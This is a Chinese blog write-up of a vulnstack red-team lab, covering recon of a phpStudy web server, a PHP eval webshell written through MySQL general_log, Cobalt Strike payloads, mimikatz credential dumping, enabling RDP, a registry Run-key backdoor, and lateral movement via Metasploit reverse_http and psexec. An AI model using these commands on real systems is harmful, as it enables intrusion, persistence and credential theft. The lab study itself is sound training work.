红队评估

vulnstack红队评估

Posted by Sprint#51264 on July 25, 2022

引言

Vulnstack(一)(细节) vulnstack1–红队靶机(域渗透) phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总 命令行开远程登陆

环境配置

  • 密码过期修改密码

  • IP分配

    192.168.48.141 win2003(域成员) 192.168.48.134 win7(WEB服务器) 192.168.197.143 192.168.48.138 win2008(域控) 192.168.197.132 kali(攻击机)

信息收集

  • 主机发现

    
      arp-scan -l 
    
      nmap -sP 192.168.197.0/24 
    
      发现主机192.168.197.134对其进行服务扫描 
    
    
  • 服务发现

       
      nmap -sV -A 192.168.197.134
    
      Not shown: 997 filtered tcp ports (no-response)
      PORT     STATE SERVICE VERSION
      80/tcp   open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
      |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
      |_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
      135/tcp  open  msrpc   Microsoft Windows RPC
      3306/tcp open  mysql   MySQL (unauthorized)
    
      发现其开放了80端口和3306端口
    
  • 目录扫描

         
      dirsearch -u http://192.168.197.134 -o dir.txt
      dirb http://192.168.197.134/
      python3 dirmap.py -i http://192.168.197.134 -lcf
    
    
      cat /usr/lib/python3/dist-packages/dirsearch/dir.txt | grep "200"#
    
    
  • 指纹识别

         
      whatweb http://192.168.197.134 # 无果
    
    
  • 源码下载

         
      下载下网站源码看robots.txt发现/data和/protected禁止访问查看对应内容
    
      config.php为数据库连接配置文件找到连接用户名密码均为root可以登录phpmyadmin
    

漏洞利用

  • 数据库写shell

    phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总 条件: 1.知道绝对路径(在php探针页面能看到绝对路径,或者phpinfo页面搜索DOCUMENT_ROOT) 2.有写入权限(查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效)

         
      #查路径
      show variables like '%datadir%';
      或者
      select @@basedir
    
      #查权限
      SHOW GRANTS FOR root@localhost
    
      SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
        
      #日志写shell
      #general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话
      SHOW VARIABLES LIKE '%general%'
    
      #打开日志
      set global general_log="on"
        
      set global general_log_file="C:/phpStudy/WWW/a.php" #修改日志路径
      select "<?php @eval($_GET['cmd']); ?>"#写shell
    
      # 这里蚁剑成功了,但是冰蝎没成功,或许和php版本有关?
    
    
  • 网站后台写shell

         
      访问yxcms目录发现有信息泄露
    
      #本站为YXcms的默认演示模板,YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。
    
      登录后台进入前台管理模块找到index_index.php页面开头写入一句话木马蚁剑连接
    
      cobaltstrike:./teamserver 192.168.197.132 pass#打开服务端
      客户端start.bat打开
    
      attack->packages->windows executable#生成木马
    
      蚁剑上传木马到目标主机再开被控主机虚拟终端执行木马
    
      CS监听到反弹连接右键被控机进行提权
    
    

远程登录

  • 获取凭证

         
      提权system后hashdump->mimikatz获取主机登陆密码hongri@2022#这是之前改过后的密码
    
    
  • 开启服务

         
      #虚拟终端查询主机是否开启3389
      netstat -ano | findstr "3389"#没开
    
      >开启桌面最终结果都是操作注册表所以需要管理员权限
      >并且主机用户是空密码那就开启不了远程桌面需要给主机用户添加密码
      >3389是win下的远程桌面端口需要防火墙的允许
    
      netsh advfirewall firewall add rule name="remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    
      >注册表操作修改fDenyTSConnections项的值
      >开启远程登录
    
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f#操作成功之后再findstr"3389"发现端口已经打开了
    
    
  • 登陆

         
      rdesktop 192.168.197.134#GOD\Administrator   hongri@2022
    

    也可以从CS->Explore->Desktop进行远程连接

内网搜集

  • 域信息收集

         
      net config workstation#查看是否有域以及当前域
    
      net user /domain#查看域内用户列表
    
      net group "domain computers" /domain#查看域内成员计算机信息
      #当前计算机名为STU1$,域内还有其他两台计算机为DEV1$和ROOT-TVI862UBEH$
    
      net group "domain admins" /domain#查看域内管理员
      #域控管理员为OWA$
    
      #CS会话中可以用lodan扫描内网
    
    
  • 内网漏洞扫描

         
      用主机上的namp扫描内网及可利用的漏洞
        
      nmap --script=vuln 192.168.48.0/24
        
      #结果显示WEB服务器win7有CVE-2017-0143(MS17-010)
      #141地址机器2003有CVE-2008-4250(MS08-067)和MS17-010
      #138地址机器2008域控有MS17010漏洞
    

权限维持

将C:/phpStudy/WWW/artifact.exe添加为注册表启动项:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v evil /t REG_SZ /d "C:\phpStudy\WWW\artifact.exe" /f

横向移动

  • msf和cs联动

         
      #msf开一个监听模式
        
      use multi/handler
    
      set payload windows/meterpreter/reverse_http
    
      set lhost 192.168.197.132
    
      set lport 9999
    
      run
    
      #cs新建listener,payload选foreign http,填kali的IP和端口
    
      #右键win7机器新开一个spawn,监听器选刚刚建的msf的
    
      choose之后msf就会建立连接
    
    
  • smb

    对主机进行net view,选会话视图,用已有session新建一个spawn,新建listener,类型是Beacon SMB

    将其作为payload

    切换为targets视图,右键未拿下的机器,jump,用psexec使用凭证登录主机,开始监听

    切换图形化sessions界面,能看到主机上线了

    同理拿下最后一台机器